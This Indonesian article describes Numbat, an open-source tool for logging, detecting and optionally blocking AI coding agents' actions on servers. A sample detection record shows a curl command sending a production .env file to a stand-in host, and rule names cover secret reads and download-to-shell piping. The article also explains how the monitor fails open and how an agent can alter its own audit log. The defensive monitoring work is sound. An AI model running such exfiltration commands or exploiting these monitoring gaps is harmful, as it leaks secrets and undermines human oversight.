Numbat: Pantau Tindakan AI Agent di Server Anda
Perplexity merilis Numbat sebagai open source untuk merekam tindakan AI coding agent di server. Ketahui yang dipantau dan yang tidak dapat dihentikan.
Apa itu Numbat
Numbat memberi Anda visibilitas atas tindakan agen AI pada mesin yang Anda miliki. Numbat membaca callback hook dan file sesi yang sudah dihasilkan oleh agen coding, menormalkannya ke dalam satu format peristiwa, lalu mencocokkannya dengan aturan yang aktif berdasarkan perilaku, seperti membaca private key SSH atau menyalurkan hasil unduhan langsung ke shell. Perplexity merilisnya sebagai open source di bawah Apache 2.0, dengan rilis bertag pertama pada 29 July 2026.
Semua informasi di bawah ini berasal dari repository proyek dan dokumentasinya sendiri, yang dibaca pada 2 August 2026. Jika Perplexity membuat suatu klaim, artikel ini menyatakannya sebagai klaim Perplexity. Ini bukan tutorial instalasi karena repository tersebut baru berusia beberapa hari dan perintahnya dapat berubah.
Masalah: tidak ada yang mencatat tindakan agent
Coding agent di VPS Anda menjalankan perintah shell, membaca file, menulis file, dan membuka koneksi jaringan, semuanya sebagai pengguna yang Anda berikan kepadanya. Riwayat shell Anda tidak mencatat semua tindakan itu karena agent tidak mengetik di shell Anda. sshd hanya mencatat login Anda dan tidak mencatat tindakan yang diputuskan model setelahnya. /var/log/auth.log tetap diam kecuali ada sesuatu yang mengakses sudo. Agent menyimpan transkripnya sendiri, tetapi file tersebut berada di direktori sesi agent, formatnya berubah antar-rilis, dan proses agent sendiri dapat menulis ke file itu.
Jadi, ketika seseorang bertanya apakah agent membaca .env.production Selasa lalu, jawaban yang jujur di sebagian besar server adalah Anda tidak dapat memastikannya. Kesenjangan itulah alasan proyek ini dibuat.
Klaim Perplexity tentang fungsi Numbat
README diawali dengan menjelaskan bahwa alat ini menyediakan "visibilitas endpoint terhadap aktivitas agen AI, dengan deteksi lokal, pemblokiran sebelum tindakan secara opsional, dan rekonstruksi forensik". Endpoint di sini berarti mesin tempat agen berjalan, bukan perangkat jaringan yang memantau dari luar. Kemampuan tersebut terpisah dan memiliki tingkat kepentingan yang berbeda.
Deteksi berjalan di perangkat. Aturan ditulis dalam CEL (common expression language) dan dievaluasi secara lokal, dengan aturan urutan multilangkah serta dukungan untuk aturan Anda sendiri dalam YAML. Tidak ada data yang perlu keluar dari mesin agar aturan dapat terpicu.
Pemblokiran bersifat opsional dan terbatas. Fitur ini hanya berfungsi melalui hook sinkron sebelum tindakan, pada agen yang menyediakannya, dan tidak aktif sampai Anda mengaktifkannya.
Rekonstruksi dilakukan setelah kejadian. numbat scan mengurai artefak sesi yang sebelumnya telah ditulis agen ke disk, sehingga Anda dapat meninjau aktivitas yang terjadi sebelum alat ini dipasang. Proyek ini membatasi klaim tersebut dengan jelas: "Rekonstruksi data tersimpan bukan pengambilan data disk atau memori dan tidak dapat memulihkan aktivitas yang tidak dipersistenkan oleh agen."
Output menggunakan NDJSON berversi (JSON yang dibatasi baris) yang mencakup peristiwa, temuan, keputusan penegakan, indikator, dan ringkasan pemindaian, dengan versi skema 0.2.0 pada v0.1.2. Record dikirim ke stdout atau file lokal, dan secara opsional melalui HTTP ke collector yang Anda jalankan. Perangkat lunak ini dirilis sebagai satu binary Go statis yang dibangun tanpa cgo, untuk macOS, Linux, dan Windows pada amd64 dan arm64. Jadi, pada VPS Linux, perangkat lunak ini berupa satu file tanpa runtime yang perlu dipasang terlebih dahulu.
Agen mana yang sebenarnya dapat dilihat Numbat?
Matriks cakupan di docs/agent-coverage.md adalah daftar acuan utama, dan cakupannya tidak merata. Proyek ini menyatakannya secara jelas. Claude Code, Codex, Gemini CLI, Cursor, dan GitHub Copilot CLI memiliki pemindaian artefak dan pengambilan data langsung dengan hook pratinjauan tindakan. OpenClaw mendapatkan plugin native mulai versi 2026.7.1. Banyak entri lainnya ditandai sebagai ditangguhkan. Artinya, jalur hook langsung tersedia, tetapi parser artefaknya belum tersedia. Penyebabnya sering kali adalah agen tersebut menyimpan riwayatnya dalam SQLite dengan write-ahead log yang tidak aman dibaca saat agen sedang berjalan. OpenCode dan Cline termasuk dalam kelompok tersebut saat matriks dibaca pada 2 August 2026.
Periksa baris untuk agen Anda sebelum merencanakan penggunaan alat ini, karena arti "didukung" berbeda pada hampir setiap baris.
Seperti apa deteksi terlihat
Aturan memiliki id yang menjelaskan fungsinya. secrets.read_private_key mencakup kunci SSH, kredensial AWS, konfigurasi kube, atau login registri paket. exec.download_pipe_shell aktif saat output curl atau wget disalurkan ke interpreter. privilege.elevated_shell mendeteksi permintaan shell root interaktif melalui sudo, doas, su, atau pkexec. impact.cryptomining_launch mencocokkan biner miner dan nama image yang sudah dikenal.
Aturan urutan menggabungkan beberapa peristiwa dalam satu sesi. chain.secret_read_then_egress memerlukan pembacaan file rahasia yang diikuti perintah yang mengirim data ke luar. README menampilkan temuan berikut dari pemutaran ulang terkontrol atas dua callback pra-tindakan Claude Code, bukan dari insiden langsung. Bagian ini hanya menampilkan bidang yang relevan:
{
"record_type": "finding",
"rule_id": "chain.secret_read_then_egress",
"rule_version": "1.4",
"severity": "high",
"confidence": "medium",
"title": "Secret-file access followed by data-bearing egress",
"observed_command": "curl --data-binary @/workspace/acme-api/.env.production https://collector.example.invalid/ingest",
"source_agent": "claude-code",
"source_type": "hook",
"tags": ["attack.t1048", "attack.t1552", "attack.t1567"]
}Perhatikan "confidence": "medium" di dalam catatan tersebut. Perhatikan juga penjelasan proyek tentang seluruh jenis output ini: "Temuan adalah hasil pencocokan aturan, bukan bukti server telah dibobol." Skrip deployment yang membaca kunci lalu mengunggah artefak build akan cocok dengan aturan urutan yang sama. Pencocokan tersebut benar, tetapi alarmnya keliru. Inilah kondisi normal pada setiap alat deteksi yang pernah Anda jalankan.
Pemblokiran secara default dinonaktifkan, dan sistem gagal secara terbuka
Setiap aturan yang dirilis Numbat hanya berfungsi untuk pemantauan. Mengubahnya menjadi aturan pemblokiran memerlukan tindakan yang disengaja: salin YAML lengkap aturan tersebut ke direktori Anda sendiri, pertahankan id yang sama, tambahkan enforce: true, naikkan versinya, lalu validasi dan instal kebijakan tersebut.
numbat rules check --rules-dir ./numbat-policy
numbat hook install --agent codex --emit all \
--rules-dir ./numbat-policy --enforceSekarang, bagian yang menentukan seberapa besar kepercayaan yang dapat Anda berikan kepadanya. Penolakan dari Numbat merupakan respons yang dikirim kembali ke agent, dan agent-lah yang benar-benar menolak pemanggilan tool. Panduan penegakan menjelaskan secara langsung hal yang terjadi ketika Numbat sendiri mengalami masalah: "Payload yang formatnya salah, error evaluasi yang relevan, panic, dan kegagalan output menekan respons penolakan numbat." Input hook dibatasi hingga 4 MiB, dan input yang terlalu besar mengikuti jalur yang sama.
Panduan tersebut juga menjelaskan secara langsung batasan penolakan yang berhasil dikirim: "Fail-open berarti numbat menahan respons penolakannya. Hal ini tidak menjamin bahwa tool akan dijalankan: host masih dapat menampilkan prompt, menolak, mengalami timeout, atau menerapkan hook atau kebijakan lain."
Jadi, penegakan di sini merupakan pagar pengaman, bukan batas keamanan. Jika proses mengalami crash, tindakan tersebut tidak diblokir oleh Numbat, karena monitor yang membekukan agent setiap kali mengalami masalah akan dihapus dalam waktu kurang dari satu minggu. Pertukaran ini masuk akal. Namun, jangan membangun model keamanan yang mengasumsikan bahwa penolakan selalu diterima.
Posisi Numbat dibandingkan dengan yang sudah Anda lakukan
Numbat berjalan di endpoint, di dalam hierarki proses milik agent sendiri, dan secara default menulis ke ~/.numbat/records.ndjson. Agent yang berjalan sebagai user Anda dapat membaca file tersebut. Agent itu juga dapat mengubahnya. Nilai jejak audit sepenuhnya bergantung pada isolasi yang melindunginya. Karena itu, semua kontrol yang sudah Anda miliki berada di depan kontrol ini, bukan di belakangnya.
Memberikan VM sekali pakai kepada coding agent membatasi apa saja yang dapat dijangkau oleh eksekusi yang bermasalah. Menggunakan user dengan hak istimewa minimum di VPS mencegah agent membuka file yang tidak berhak diaksesnya. Menjauhkan kredensial dari konteks agent membuat secrets.read_private_key cukup jarang terjadi sehingga layak diperiksa saat terpicu. Selain itu, sandbox yang Anda siapkan untuk Claude Code di VPS tetap menjadi mekanisme yang melakukan pembatasan.
Numbat menambahkan catatan. Karena itu, kirim catatan tersebut ke lokasi yang tidak dapat dijangkau agent. numbat ship dan sink HTTP disediakan untuk tujuan itu. Salinan stream di mesin kedua membedakan file log dari bukti. Model peristiwa juga membawa bidang MCP (model context protocol). Dengan demikian, pemanggilan tool yang keluar melalui server MCP yang Anda host di VPS masuk ke stream yang sama dengan perintah shell lokal. Hal ini penting karena jalur tersebut tidak terlihat oleh apa pun yang hanya memantau bash.
Coba dalam mode hanya-baca terlebih dahulu
Instal versi yang dipatok. Go 1.26.5 atau yang lebih baru diperlukan untuk go install, dan halaman rilis menyediakan biner siap pakai beserta checksum SHA-256 jika Anda tidak ingin melakukan build dari source.
go install github.com/perplexityai/numbat/cmd/numbat@v0.1.2
numbat agents
numbat scannumbat agents menemukan agent yang terinstal pada sistem. numbat scan mem-parsing artefak sesi yang sudah ada di disk dan mencetak record. README menyatakan bahwa perintah ini "tidak menginstal hook atau mengubah konfigurasi agent", dan bahwa numbat "tidak pernah menjalankan agent atau perintah yang ditemukan dalam artefak, serta hanya membuat permintaan keluar ke sink HTTP yang dikonfigurasi". Pemindaian bersifat hanya-baca dan meredaksi secret. Output record normal tidak pernah menyertakan transkrip mentah lengkap.
Pengambilan langsung adalah langkah berikutnya, dan langkah ini memang mengubah konfigurasi agent:
numbat hook install --agent codex --emit all
numbat hook status --agent codex--emit all menulis event, temuan, indikator, dan keputusan enforcement yang berlaku ke ~/.numbat/records.ndjson. Dua hal perlu diperhatikan berdasarkan keterangan langsung dari proyek. Hook mungkin perlu dipercaya di dalam agent sebelum dapat dijalankan, dan kepercayaan tersebut harus ditinjau kembali setelah Anda mengubah flag seperti --enforce. Selain itu, hook status "memverifikasi konfigurasi, bukan eksekusi atau pengiriman", sehingga baris status yang sehat bukan bukti bahwa record telah tiba di suatu tujuan.
Mengapa repositori yang masih baru bukan dependensi
Rilis publiknya adalah v0.1.1 pada 29 July 2026 dan v0.1.2 pada 1 August 2026. Repositori ini memiliki 597 bintang saat tulisan ini dibuat pada 2 August 2026. Pertumbuhan secepat itu mencerminkan audiens Perplexity, bukan ketahanan kodenya. Bintang berarti seseorang menyimpan halaman tersebut untuk dilihat kembali nanti.
Nomor versinya secara jujur menunjukkan tingkat kematangannya. Catatan v0.1.2 sebagian besar berisi perbaikan redaksi kredensial, serta pekerjaan normalisasi bundel kasus dan telemetri. Bug redaksi merupakan bentuk cacat awal yang wajar pada alat yang bertugas membaca transkrip program lain secara aman. Bug semacam ini akan terus bertambah karena input berasal dari selusin agen, yang masing-masing mengubah formatnya menurut jadwal sendiri.
Dua aturan praktis berlaku. Sematkan tag, jangan pernah @latest, pada apa pun yang Anda simpan. Perlakukan alat ini sebagai instrumen yang sedang dievaluasi, bukan sebagai kontrol yang Anda andalkan, setidaknya sampai skema rekamannya tidak lagi sering berubah.
FAQ
Apakah Numbat memblokir perintah agen AI yang berbahaya?
Hanya jika Anda memilihnya, dan hanya berdasarkan upaya terbaik. Semua aturan yang disertakan Numbat hanya memantau. Untuk memblokir, salin YAML aturan ke direktori Anda sendiri, pertahankan id-nya, tambahkan enforce: true, naikkan versinya, lalu instal hook dengan --enforce. Bahkan dalam kondisi tersebut, penolakan dikirim kembali kepada agen sebagai respons, dan agenlah yang menolak panggilan tersebut. Dokumentasi proyek menjelaskan perilaku fail-open: payload yang cacat, kesalahan evaluasi, panic, dan kegagalan output semuanya meniadakan penolakan. Gunakan ini sebagai perlindungan tambahan, bukan sebagai satu-satunya batas keamanan Anda.
Agen AI mana yang didukung Numbat?
Cakupannya berbeda-beda untuk setiap agen dan tercantum di docs/agent-coverage.md dalam repositori. Claude Code, Codex, Gemini CLI, Cursor, dan GitHub Copilot CLI memiliki pemindaian artefak serta penangkapan langsung ketika halaman tersebut dibaca pada 2 August 2026, dan OpenClaw memiliki plugin native sejak versi 2026.7.1. Banyak agen lain tercantum dengan jalur hook langsung, tetapi belum memiliki parser artefak. Biasanya, hal ini karena riwayat sesi mereka berada dalam database SQLite yang tidak aman untuk dibaca saat agen sedang berjalan. Baca baris untuk agen Anda, karena istilah "didukung" mencakup beberapa tingkat yang berbeda di sana.
Dapatkah agen mengubah catatan Numbat?
Ya, jika agen berjalan sebagai pengguna yang sama. Secara default, catatan disimpan di ~/.numbat/records.ndjson pada mesin yang sama dengan agen. Oleh karena itu, apa pun yang memiliki akses tulis ke jalur tersebut dapat mengubah atau menghapusnya. Kirim aliran data ke collector yang tidak dapat dijangkau agen, menggunakan numbat ship atau HTTP sink, dan pertahankan file lokal sebagai salinan praktis. Inilah alasan alat ini melengkapi isolasi, bukan menggantikannya. Agen yang dibatasi di dalam VM sekali pakai dan berjalan dengan pengguna berhak akses minimum memiliki jangkauan yang jauh lebih kecil terhadap jejak auditnya sendiri.
Apakah Numbat siap digunakan pada server produksi?
Belum, jika Anda menjadikannya kontrol yang diandalkan. Rilis publik pertama adalah v0.1.1 pada 29 July 2026, dan v0.1.2 menyusul pada 1 August 2026. Karena itu, flag dan skema catatan masih terus berubah. Menjalankan numbat agents dan numbat scan pada suatu mesin bersifat hanya-baca dan berisiko rendah. Perintah tersebut akan memberi tahu Anda apa yang telah ditinggalkan agen Anda di disk. Memasang hook penegakan pada server penting adalah keputusan yang berbeda. Keputusan tersebut memerlukan tag yang dipatok dan rencana untuk menangani kondisi ketika hook mengalami masalah.